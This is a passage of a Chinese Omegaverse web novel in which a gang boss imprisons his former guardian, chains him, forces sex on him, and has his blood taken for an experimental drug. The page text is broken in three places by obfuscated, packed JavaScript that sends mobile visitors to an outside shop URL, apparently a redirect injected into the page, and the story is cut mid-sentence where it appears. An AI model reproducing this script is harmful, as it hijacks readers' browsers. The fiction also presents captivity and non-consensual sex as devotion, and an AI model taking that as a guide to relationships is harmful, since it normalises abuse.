顾承厌仍旧一句话也不说,准确而言他今晚的话一直少得可怕,除了进门那两句不算请求的请求,他甚至没将视线过多投到沈闻身上,眼下也半垂着眸,只有身上动作还在一刻不停,甚至愈演愈烈。 沈闻趴在柔软的被褥间,整张脸都深深埋入了被子里。 黑暗很快笼罩完整个房间,类似烟草的味道也终于迫不及待压上后背。吃了药也还是会疼,更何况沈闻自己又在不自觉抗拒,带着惩罚性的力道一次次加重,没过多久,趴在被褥间的人便已经彻底说不出话来,思维亦被完全打乱,只能凭本能用双手紧紧攥着被子,双眼闭着,漂亮红晕的脸上一片湿润。 连窗帘什么时候被拉上了都不知道。 …… 当天夜里,沈闻又一次梦到了以前的事。 那应该是三年前,具体时间沈闻有些记不清了,毕竟那时他伤得实在太重,昏睡了好久,等清醒过来已经不知道过了几天还是几个月了,记忆也跟着有些模糊。 不过隐约还记得那时是夏天,盛夏,因为铁皮圈围成的狭小空间里实在是热,像个封闭的烤炉一般,满身汗水血液裹在一起都被闷得发臭了,短短几天,小仓里却仿佛发酵了一整年的垃圾场。 口渴,闷热,以及…… 顾衷去世的一年后,沈闻在梦中,又一次听到了老雇主的声音: “为了那小子居然把自己搞成这幅模样,阿闻,我以前竟不知道你还有这样一面?” 声音仿佛从遥远的幻境中传来,由于沈闻当时就没听太清,导致后来每次梦中这道声音都是模糊不清。 梦境里,沈闻勉强仰了点头,被血糊去半张的脸上只剩左眼能睁开一小条缝,几近涣散的灰眸颤了颤,接着落向来人。 “这次就当给你长个记性,顾承厌那个野种就是个恶魔,你救了他,他还不一定会感谢你。” 视线中的人影不断扭曲变形,仓库似乎也燃起熊熊烈火。 好端端一个人,在红色炽热的背景下竟慢慢变成一团焦炭似的模样,焚烧,又变小,到最后融化成一团的五官直接贴到沈闻面前,鲜艳的红唇歪歪扭扭,一张一合,不断露出内部焦黄的乱牙。 “他不会感谢你的。”扭曲成一团的人说: “你应该跟我一样去死。” “跟我一样去死……” “一样去死……” “去死……” “去……” !!! 回荡戛然而止,柔软的棉被被“哗啦”一下掀开,沈闻猛然从床上惊醒。 已经中午十一点了。 隔壁的床单已经彻底凉透,看样子顾承厌已经离开有一段时间。闭合的窗帘外有微弱的阳光透入,今天不是阴天,阳光映在窗户玻璃上,让冰冷的房间也勉强有了些温度。 沈闻勉强扶着床头从床上起身,这次没发烧,身体也不如上一次难受,但还是有不小感觉,身上也被重新上了锁—— 一条银白色的脚链,连接在两只脚踝之间,质量很轻,不影响正常走路,但足以限制更大幅度的活动。 沈闻将自己靠回床头,脑中的混乱让他此刻基本没任何食欲,还带着点浮肿的眼眸往桌面吐司牛奶上随便一瞥,很快又收回视线,愣神般落向窗帘。 结果最后还是没能拿到太多有用信息。 常书什么都不知道,明明谈其他事情时还好好的,一谈到抓他那些人,整个人却突然结巴到连话都说不清。 沈闻只能安慰对方先回家,除了一区目前形势不好这单单一条不知所云的消息外,没再有任何可靠情报。 沈闻微不可察叹出一小口气,正想着要不要戴个眼罩再继续睡会儿,横竖在这别墅内也找不到其他事干,房间门却在这时被突然敲响。 没有任何要开口询问的意思,也没有要自己推门而入,门外的人似乎正等沈闻主动回复,敲门声响了三下,顿了会儿,接着很快又再次响起。 咚、咚、咚…… 当敲门声第三轮从门口传来,沈闻终于下了床,面无表情走到房门边,一把压下那不知道按不按得动的门把手。 然后门开了。 木制房门在惯性作用下缓缓往后滑了一个角度,紧接着被人从外轻推一下,房门打开,门外是一张沈闻完全没想到的脸。 “沈先生,午饭做好了,您要现在下楼还是让人端上来?” 张海恭敬询问。 这下完完全全就成了一场监禁,只要顾承厌不在家,沈闻身边将二十四小时有人看守,甚至看守的人还是从顾承厌爷爷那一辈起就在顾家担任管事,在黑鸟效力了五十余年、除了黑鸟真正掌权者外谁也不认的张海张叔。 他老人家明明一年前就已经决定退休,顾承厌不知用了什么方法,竟让他退休一年然后又回了顾家做事。 “孙姨在楼下已经做好饭,下午会有家庭医生来替您抽血,顾老板晚上七点半前回来,晚饭会比平时晚半小时,因此我建议您中午多吃一点。” “为什么又抽血?”沈闻很敏锐捕捉到了对方话中的异常。 然而张叔只是保持沉默,以一副恭敬又不可撼动的姿态定定在在沈闻身边,一句话也不肯多说。 沈闻询问无果,只能将视线收回又再次落回房间,脚上镣铐还未取下,他现在可没心情拖着截叮叮当当的铁链子在别墅其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17318947|199019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他地方乱走。 “那我让人替您将饭端上来。” 张叔随即往旁边递过一个眼神,守在不远处的三水接到指令,立马战战兢兢表示自己受到,转头着急忙慌往楼下走。 “新收的这批佣人没怎么受过调教,做事难免有些毛毛躁躁,顾老板担心他们干不好,所以把我又请回来一段时间。” 三水的背影很快消失在楼梯拐角,张叔又一次开口,眼神却是直接落在沈闻身上:“等把这个家里的一切都打理好,我老头子也该真正退休了。” 午餐还是一如既往丰盛,除了没什么辣椒,沈闻洗漱完从浴室出来,桌面上已经摆好一盘盘菜,都是沈闻平时喜欢吃的。 窗帘也被重新拉开,外面太阳不算大,刚刚好,在楼上正好可以看清别墅大门那边的场景。 一条折过一道的道路转过弯通往楼底正门,两边是一些花坛与绿植,这条路平时很少有人走,除了顾承厌和部分来谈工作的下属,更多时候这条大路上都空无一人。 但今天,沈闻坐在小阳台外发呆,却突然瞥见一辆不属于黑鸟任何一个人的车开到大门外。 “别拦我!让我进去!顾承厌!你TM这是搞囚禁、是违反联盟法律的事你知不知道!” “先生请您冷静,顾老板有规定,只有他同意我们才能放行。” “狗屁规定!自己做了这种下三滥的事,还好意思提规定!你们今天不让我进去见沈闻,明天联盟头条上就会爆出一条热搜有关顾家掌权人私自囚禁他人的消息信不信!” “……抱歉,我们没法做主。” 隔得太远,沈闻听不清那边到底在吵些什么,只能隐约听到些突出的高喊。但好在今天天气不错,能见度够高,即使大门外围了好一群人,沈闻站阳台边还是一眼看到中间染了一头张扬红毛的青年。 陈毅。 沈闻大学同级一个社团的同学,一区氏族陈家年纪最小的小少爷,同时也是陈祁隆最疼爱的孙子。 他怎么找来了这儿?! 眼看楼下几人跟安保拉扯半天都没拉扯出个所以然,还惊动了不远处几个藏在暗处的守卫,沈闻一抿唇,转身,径直走向房间门口。 “沈先生,有什么事吗?” 张叔一把年纪,端张扶手椅就往门口一坐,见沈闻出来,也跟着站起身: “或许您现在应该在房间休息会儿,家庭医生要下午点才来。” “让外面那个人进来。”沈闻说。 “没有顾老板的指示,我们不能随意放人进入。” “我给他打电话。” 但其实沈闻并没有自己的通讯设备,顾承厌只在家里放了两个老式座机,一个在沈闻房间,另一个在一楼客厅,并且两个座机都只能拨到顾承厌本人的手机上。 而沈闻在这之前也一次没用过这两个东西,平时跟顾承厌相处下来就已经够让人心烦,更不可能主动给他打电话。 但今天情况显然有些不一样。 “这点小事就不必去打扰顾老板。”张叔立马上前阻拦,只可惜沈闻还是更快一步。 电话只响了两秒,很快便被对面接起。 “喂,什么事?” 不知道是不是自己的错觉,电话这头,沈闻隐约间似乎在顾承厌那边听到自己的名字。 “顾承厌,陈家有人来了,你要是不想现在就跟一区闹太难看最好让你的人悠着点。” 14. XT药剂 “哟,这才半天没看着,你那个小心肝又闹什么事了?” 医院四楼办公室内,金文书坐在办公桌这端,带着橡胶手套的指尖不停把玩着一支钢笔,面前,木桌上的文件首页赫然印着十二个醒目大字—— “腺体二次分化案例分析报告”。 办公桌对面,顾承厌面无表情往对方脸上瞥去一眼,金文书立马识趣般微笑了笑,目送面前的男人起身离开。 “喂,什么事?” 电话几乎是被立刻接起,顾承厌一边听对面讲话,同时走出办公室,低声对着手机听筒说了句什么,接着没过一会儿,又重新回到办公室。 “刚才说到哪儿了。” 来人脸色跟出去前相比没任何变化,仿佛任何事情发生在他面前都不值一提。漆黑的几近冷漠的眼眸重新落上分析报告,但金文书毕竟与对方合作过好几年,别人看不出,他还是能从顾承厌脸上看出一丝烦躁的意思。 准确来说,是从昨天起,金文书开始与其介绍这个最新研制据说能让人完成二次分化的“XT药剂”时,顾承厌眼底就一直带着点似有似无的烦躁。 藏得很深,估计连顾承厌自己都没察觉。 “副作用,就当前几个案例的临床表现来看,这种药剂的副作用因人而异,有几个症状轻的一个周后就出院了。” 似乎想起什么有意思的事,金文书说这话时眼底带着浅浅的笑,不过头顶白灯正好在眼镜片上反射出光,笑意被完全遮挡,办公桌对面,顾承厌什么都没看清。 “不过这种东西毕竟是在反抗自然,副作用肯定难免,如果顾老板想知道具体,可以等那400CC血送来做过检测再说。”金文书又继续。 顾承厌正低头翻看桌面各个案例,黑框眼镜架在鼻梁,一边听金文书说着,直到最后一句结束,才皱着眉抬头,问: “为什么要这么多?” 如有实质的视线就这么定定落在身上,对面,金文书看上去倒半点不心虚,随手抽出旁边架子上一份文件递到顾承厌面前: “自然是需要做的检查多,更何况制作适配的药剂也需要血液中提取的信息素,干脆一起拿了,不是更省时省力?” 远处走廊上还隐隐有医生护士交谈的话语,推车车轮滚过地面摩擦出声,办公室安静下来,顾承厌翻着手里的资料,半晌,将资料放回桌面站起身: “听说昨天你将205号监禁室的人提出来了,在哪儿,我去看看。” “这不好吧?重症监护室里要求无菌环境,顾老板这样贸然前去,到时候让重要‘线索’伤了断了可得不偿失不是?” 金文书也终于从靠椅上起身,眼底笑意不动声色收敛不少,只有嘴角上扬的弧度未变。 顾承厌回头静默看了他一眼。 就这短短一眼,像是普通警告,却又比平时的目光更多了点什么,明明不是第一次被对方以这种眼神看着,但这一刻,一种前所未有的压迫感笼罩心头,金文书脸上的笑突然有些挂不住了。 万幸顾承厌没有坚持要去重症监护室,并且很快便将视线从室内收回落向门外: “你知道就好。” “别忘了自己一直跟谁办事。” - 越庭三楼,沈闻放下电话,不一会儿便见外面的拉扯已经停止,几个看守的也默默退回原地,陈毅直接从大门外走进。 也就陈首长的孙子敢这样闯进越庭,但凡换个人,要么根本不敢靠近半步,要么这个时候已经被狙击枪射成筛子。 沈闻往窗外看着,五年未见,这个曾经的副社长看上去竟还是一如既往意气风发,五年时光似乎根本没往他身上留下任何一点痕迹,单凭这点,就基本可以推断陈家那几个人真的将他保护的不错。 甚至就从表面上看,保护得有点太过了。 房间外,张叔已经下楼去管事,走廊上短暂没了看守,沈闻找到空隙趁机打算自己下楼查看情况,却在二楼拐角又撞见一个往上走的人。 藏青见到沈闻时立马停了脚步。 那双墨绿色的眼睛里似乎划过了一丝惊讶,尤其是在瞥见沈闻脚踝间藏着裤腿下的镣铐,那抹惊讶很快演变成一种复杂。 “怎么?轮班制?” 相比藏青的惊讶,沈闻倒是见到对方第一眼便猜到对方是来做什么了。 大概昨晚睡得不好,沈闻此刻唇色略显苍白,V型居家服领口下还若隐若现暧昧过的痕迹,好几处,甚至还有直接印在脖子上的,单靠居家服有点遮不过来,沈闻索性直接不管了,拖着脚链便直接往楼下走。 “沈先生。” 从楼梯上路过时,藏青突然开口叫住沈闻。 沈闻回头,语气堪称绝对平静又问了对方一句:“有事?还是不能下楼?” “可以下楼,”藏青站在比沈闻高两阶楼梯的位置,声音卡了下壳才又继续:“不过您要就这样下去……” “我当然会换衣服。”沈闻一脸莫名其妙回了对方的话。 在二楼衣帽间给自己挑了件大衣裹上,沈闻想了想,最终还是又取了条围巾戴上。 脚踝上有链子不方便换其他衣服,幸好就这样也能遮得住,沈闻换好衣服,很快在藏青的跟随下走向一楼客厅。 陈毅就坐在客厅沙发上,周围站了几个顾承厌这边的人,这人胆子也是大到没边,就这种情况,居然还没事人一样坐在沙发上喝茶。 一点不怕茶里下了东西把他毒死。 沈闻赶到客厅,见对方还好好坐在沙发边,着实松了不小一口气。 另一边,陈毅见到来人,立马起身上前给了对方一个巨大的拥抱。 炙热的火烧般的气息迎面扑来,沈闻浑身一僵,后知后觉将人推开,捂着嘴闷闷咳嗽起来。 “抱、抱歉,我太激动了,没收住。”陈毅手忙脚乱从包里翻出阻隔贴贴上后颈。 “没事……”沈闻朝对方一摆手,转身自顾自到沙发上坐下。 陈毅尴尬揉揉鼻尖,跟着坐下。 刚开始的激动过后,陈毅将视线再次投向沈闻,眼底神情也一点点黯淡下来: “那天毕业晚会你没有去参加,我找了你好久,可是没有一个人知道你去了哪里。” 但实际上沈闻早在毕业典礼前两天就已经下到三区这边,傅谨松将一切都安排得很好,没人发现再正常不过。 毕竟自己也不是什么有头有脸的人物。 沈闻一边想,视线落在对方握紧茶杯的手上。陈毅不知是旧友相见太过激动还是太过紧张,握茶杯的拇指一直在摩挲茶杯口,从左到右,一会儿快一会儿慢。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17318948|199019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “直到前一段时间,我在SAN公开的受害名单里见到了你的名字,还有代号。” 陈毅继续摩挲茶杯,眼底的神情已然一片暗淡。 后面的事就很顺理成章了,到底是陈家的小少爷,真要查点已经无关紧要的事当然很简单,只是沈闻想不通,陈家那群人到底怎么放心让他一个人跑出来的。 “我是偷跑出来的。”像想到了什么,陈毅又说。 但他的肢体动作却不是这样说的,拇指在杯口边缘又滑了几下,关节微微内扣,翻译过来,分明就是说 ——二哥也在。 茶几另一边,沈闻也端起一旁的茶杯,垂眸,轻抿一口,像是不想再与对方多说: “现在你也见过我,可以回去了。” “可是我还没确认……”陈毅像是有些着急,话到嘴边一卡,才又重新组织起语言: “我知道你是被迫的,是顾承厌他把你扣在三区,你也不愿意留在这里对不对?” 沈闻:“愿不愿留在这里跟你没关系,而且你也看到,我在这里过得并不差。” 周围几个守卫见状想上前,然而又被藏青一个眼神制止,进也不是退也不是。陈毅脸上划过一丝受伤,但他还是不肯走,坐在沙发间,像个固执的小孩: “我会救你出去,顾承厌还需要陈家的支持,我会在这里等他回来亲自跟他谈。” 实在没必要再拉扯下去,再多做纠缠对两个人都没有好处。眼看陈毅一杯茶已经喝完,沈闻从沙发上起身,没有任何要给对方再倒杯茶的意思,转头看了眼一直守在门口的藏青与张叔,声线一如既往平稳: “我上楼休息了,找人送陈少爷早点回去。” 很明显的逐客令。 然而陈毅像要说到做到非要等顾承厌回来当面交谈般,等沈闻离开,也依旧坐在客厅没动。上头没吩咐,周围也没一个人敢主动得罪这个陈家少爷,以至于陈毅真的就在越庭一直坐到下午六点过,直到他哥给他打来电话,才遗憾离开别墅。 而家庭医生的到访也自然而然延后了几个小时。 将近晚上七点,窗外火烧般的云都在黑暗吞噬下逐渐褪了色,眼看天色马上就要彻底黑下,楼底终于再次有了动静。 张叔在门外敲门,请沈闻现在下楼。 来的医生沈闻并不眼熟,应该是顾承厌新招的,眼角带着条小疤,很明显的外在特征,如果沈闻见过不可能没印象。 来人从药箱取出两个200CC的采血袋,接着往旁边摆出个沙袋请沈闻将手臂放置在上面。沈闻顿了一瞬,直觉告诉他这些血拿去并不是简单做检查用,他应该多问一句,起码也该多问顾承厌一句,但对方肯定不会说。 最终沈闻还是什么都没说,很配合坐到一旁的椅子上,任由对方用橡胶绑住自己大臂一端,消毒,然后拿起采血袋。 针头刚刺破皮肤,内部血液立马顺着针管涌入采血袋,中途又换了一次血袋,400CC很快便抽取完毕。 不知是不是晚饭没吃的缘故,抽完血沈闻脑袋有短暂发晕,应该是有点贫血。 他按着针孔坐回客厅沙发,靠上靠背,闭眼,想自己缓一会儿,别墅大门却在此刻再次打开。 顾承厌进门,一眼便看到靠在沙发间闭着眼,脸色有些蔫蔫的沈闻。 15.确实想逃跑 心尖仿佛被羽毛轻轻挠了下,顾承厌走到沙发边。暖黄的灯光打在沈闻脸上头顶,毛茸茸的,灰色的睫毛亦根根分明,顾承厌本打算回来就找对方算账的,却在此刻心底一软,开口的话转眼就成了句: “头晕?” 沈闻睁眼,眼底似乎还带着点烦闷,然而顾承厌已经坐到沙发边,一只手揽过那略显瘦弱的肩膀,安抚似的轻轻抚过他的后背: “还没吃晚饭?” 张叔以及藏青等人在顾承厌回来后都已经离开附近去做自己的事,眼下整个一楼就只剩厨房还在热菜的孙姨及沙发上两人。 沈闻大概真有些低血糖了,顾承厌用手指轻抚过他的发尾与后背,他竟也没有挣扎,也没回应对方的话,直到顾承厌变本加厉凑近来吻住他的嘴角。 “做什么……唔……”沈闻别过头,下唇却被恶意一咬,紧接着一颗桃子味硬糖便被塞入口中。 顾承厌没用多大力,却也还是在对方嘴角留下一个红色的齿印。沈闻皮肤太薄了,身上也是,轻轻一掐就能留下痕迹,作恶的人轻笑一声,手上更用力抱紧对方不允许他走: “终于肯说话了?还以为你只想对姓陈的人做出回答呢?”顾承厌语气阴沉,“我很好奇,你跟他以前到底是什么关系,同学而已,居然这么关心你的安危?” 沈闻被迫又往对方肩上一倒,接着又立马坐直身,手背用力从嘴角揩过:“他自己突然找来的,我怎么知道?” 手背上沾了点淡红的血,还隐约能闻到铁锈味。不过这味道很快就被水蜜桃的味道压下,沈闻偏过头,眼底神情又恢复那面对顾承厌时一如既往的不耐: “而且一个世家少爷而已,顾老板难道还担心他有能力从这里把人带走?” 像陈毅这样一个世家少爷,特别是在家族宠爱庇护下长大的小少爷,能说出“上联盟热搜头条”这种话作为威胁,还自己偷跑出来的,说实话,除了背景够硬后台足够强大,手上实际根本就没多少能耐,顾承厌自然不会认为他能有能耐到黑鸟劫人。 “但他明显对我的人有意思,昨天一个常书,今天又一个陈毅。” “干爹是不是以为那天早上没找你继续算账,是因为我脾气很好?” 年纪轻轻就坐上黑鸟最高位,顾承厌的脾气公认的不好,准确来说,好脾气的人根本没资格坐上现在这个位置。 逃跑一次就算了,带回来小惩大诫就算翻篇,但像这样接二连三的忤逆,不论换做哪一个Alpha,想必都无法再装作无动于衷。 Alpha本来就是一种占有欲极强的生物,特别是向顾承厌这种,信息素水平已然超过正常S级水平的。 “算了,先吃饭。”眼看沈闻又重新垂下眸,唇上也没了多少血色,顾承厌随手顺了顺对方的发尾,毫无征兆转移话题。 孙姨已经在厨房热好饭菜,只等一句话便可以立马端出来装盘。 顾承厌领着人走向餐厅,亲自给沈闻盛了碗米饭,又把筷子递到对方手边,看了眼时间: “等会儿我跟张叔说,以后晚回来都不用等我。” “哎,好。”孙姨应了声,收拾收拾东西就准备离开。 沈闻坐在顾承厌对面,依旧没什么胃口,只能戳着筷子尽量多吃几口,万幸桌上的菜全都是按他口味的偏淡版制作,咽起来也没那么废劲。 顾承厌大概也看出他胃口不怎么好,一顿饭下来全程都在给人夹菜,吃到最后看着碗里不减反增的菜,沈闻终于忍无可忍撂下筷子: “我上楼了。” “擦擦手。” 顾承厌递上一张纸巾,顺道蹲下身,“咔哒”,解开沈闻脚上的链子。 粗糙的质感摩擦在微微泛红的纤细脚踝,沈闻看着半跪在自己身前只能见到一个黑色发顶的人,没动。 直到两个银环都被顺利取下,半跪的人恶趣味般拿指腹从红痕上用力划过,沈闻陡然瑟缩一下,抬脚一脚踹到对方肩膀。 “嘶……这里可是因为你才受伤的呢。” 顾承厌这样说,但实际上他的身体很稳,沈闻这一脚根本没对他造成任何伤害。 坐椅子上的人似乎翻了个白眼,不想跟对方多说,起身径直往楼上走。 随着孙姨最后一个离开,别墅内部已经没人在守,平和寂静的环境就一如前段时间每一个夜晚。 但就顾承厌今晚回来的态度来看,今天注定不会平静。 果不其然,沈闻回到自己房间没过多久,在窗边坐着心不在焉看了会儿前几天没看完的《刑侦重案实录》,然而满脑子都是下午陈毅打来的暗号和那莫名被取走的400CC血,横竖看不下去便收拾东西进屋洗澡,刚洗完出来,便见顾承厌已经坐在他刚刚坐过的位置,手里还拿着那本《刑侦重案实录》。 “干爹,来。”顾承厌抬头,嘴角带笑着朝对方招招手。 沈闻只当自己没看见,转头坐到床边,自顾自擦起头发。 他的头发有点长了,发尾几乎完全掩盖住了腺体,这也导致头发不像以前那样容易擦干,沈闻擦了没一会儿,顾承厌就已经走到他身边。 一双大手覆盖住底下指尖,毛巾被接过,顾承厌站到床边替人仔细擦起头发,直到确认发丝已经基本擦干,才将毛巾随手丢到一旁。 刚擦过的头发乱糟糟耷在头顶,从上看就只能看到毛茸茸的头顶,不过沈闻随即仰起头,像终于忍不住,以一种质问的口吻开口道:“你拿我的血去做了什么?” “猜一下?”回答的语气像在逗猫:“不过不用担心,如果干爹以后能乖一点,我不会舍得让你受苦。” 沈闻不说话,漂亮凌厉的一双眼睛恶狠狠剜对方一眼。 顾承厌又一次从喉咙中发出一声轻笑,再开口时,他的声音早已变得暗哑:“别这样看着我,昨天我是不是说过,以后你每想跑一次,就拿三晚来还?” “算上今晚,你还欠我七个晚上。” “我什么时候、又想跑了?”沈闻皱眉。 不过顾承厌可不想听他解释那么多。 沈闻现在掌握在他手上,规则全都由他来制定,怎么样才算听话,又怎么样才算想逃跑,怎么样算作出了逃跑的行为,这些都该他说了算。 他爱沈闻,他不想伤害沈闻,但不代表他能大度到眼睁睁看着沈闻离开自己。 永远都不行。 “但你确实想逃跑不是吗?” 顾承厌反问,随着指尖向下的动作,沈闻再度挣扎,却被毫无疑问按回被褥间。 “干爹,趴好,如果你今晚还想睡觉,就不要试图反抗我。” …… 两个Alpha在一起的缺陷此刻便淋漓尽致展现了出来。 沈闻今晚依旧哭得厉害,准确来说是眼泪淌得厉害。顾承厌拿湿毛巾帮人敷眼睛时,沈闻的眼睛又已经肿了,擦干泪痕的眼尾还一片潮红,顾承厌用指尖轻轻碰了碰对方眼睫,湿漉漉的睫毛颤了颤,很快又重新安静下来。 人已经睡熟了。 印象中沈闻其实是很擅长忍耐的一个人,只是不知道为什么他会在床上哭得这样厉害。 手机上有一小时前金文书 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17320444|199019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发来的信息,顾承厌打开锁屏看了眼,接着走向阳台点燃一支烟。 金文书发来了一张检测报告,上面显示了各种沈闻注射XT药剂后可能出现的副作用及后遗症,有好几条,但都不算太严重,顶多就是些头晕加信息素紊乱,图片下还附带了一条消息,金文书问要不要现在开始进行药剂调配。 【因为工序比较复杂,制作保守估计都要耗费半个月。】 对方原话是这样说的。 微弱的火星子在黑暗中一明一灭,顾承厌回头又看了眼床上蜷缩着身体熟睡的人,半晌,打字询问: 【除了成功分化后的副作用,注射过程中会不会产生影响。】 毕竟二次分化不是一次就能完成的,按照排斥反应不同,注射次数会在三到五次不等。 对面还没睡,很快就发来回复:【这个问题嘛……我就不是很清楚了,如果顾老板想知道注射时的具体感受,或许可以去问那些二次分化过的人,我也没真正感受过不是?】 【知道了。】顾承厌将烟头随手掐灭在阳台:【先等一段时间再说。】 今夜没有星星,厚厚一层黑云堆积在三区上空,看样子又要下雨。 对面又一次发来回复,金文书好似一点也不对对方的决定感到惊讶,只是表示自己会安排人将剩下一个血袋放冷冻库里,同时又顺嘴般提醒顾承厌一句: 【新鲜血液并不能保存太久,顾老板还是早点决定才好。】 - 第二天,三区果然下了雨。 雨不算大,带来的寒意却足够冻人,黑压压一层乌云笼罩在窗外,雨丝飘在窗台边,顾承厌关上窗户,接着拿起外套给沈闻裹到肩头: “外面冷,当心感冒。” “等会儿给你再上一遍药,今晚可以早点休息。” 连着吃到嘴两天,再生气也该消差不多了。 顾承厌早上没出门,因此沈闻也不用带脚链,起床时顾承厌还专门替他检查过脚踝和腺体,红痕已经淡得差不多,腺体也没有肿。 吃了半个月的药,沈闻的信息素也终于恢复到紊乱前的正常水平,不会再因为刺激轻易头晕头疼。 孙姨上楼来叫俩人下楼吃午饭,吃饭时藏青也在,应该是来负责看人的,毕竟顾承厌吃过饭还要出门,脚链也得继续戴。 “沈先生。” 顾承厌走后,藏青又一次叫住沈闻。 沈闻没有向昨天那样直接停下来等人说话,而是自顾自直接走进衣帽间,一边挑围巾,头也不回: “什么事?” “昨天的事我看到了。” “所以呢?”沈闻挑围巾的动作未停,光听语气也听不出他有任何紧张:“你要去告诉他?” 藏青又不说话了。 沈闻挑了一条比昨天厚的棕褐色围巾,跟他棕色的大衣很搭。慢条斯理将围巾围好,他转过身,问了对方一个很奇怪的问题: “蒋宣被送去二区了?” “……是。”即使不知道对方为什么突然提到这个,藏青还是回答:“蒋二爷那边觉得他应该多历练两年,送他去二区继续读书了。” “那你想去二区还是四区?或者最远的五区?” 沈闻又问,同时浅浅勾了勾唇角。即便这个笑淡得几乎看不见,但也还是足够晃眼,一瞬间,藏青只听见自己的心脏似乎重重跳了一下。 而衣帽间大门口,沈闻戴好围巾,没等对方继续回答,转身便走向楼上。 上次是他走得太急什么都没来得及准备,但这一次,说什么也得成功。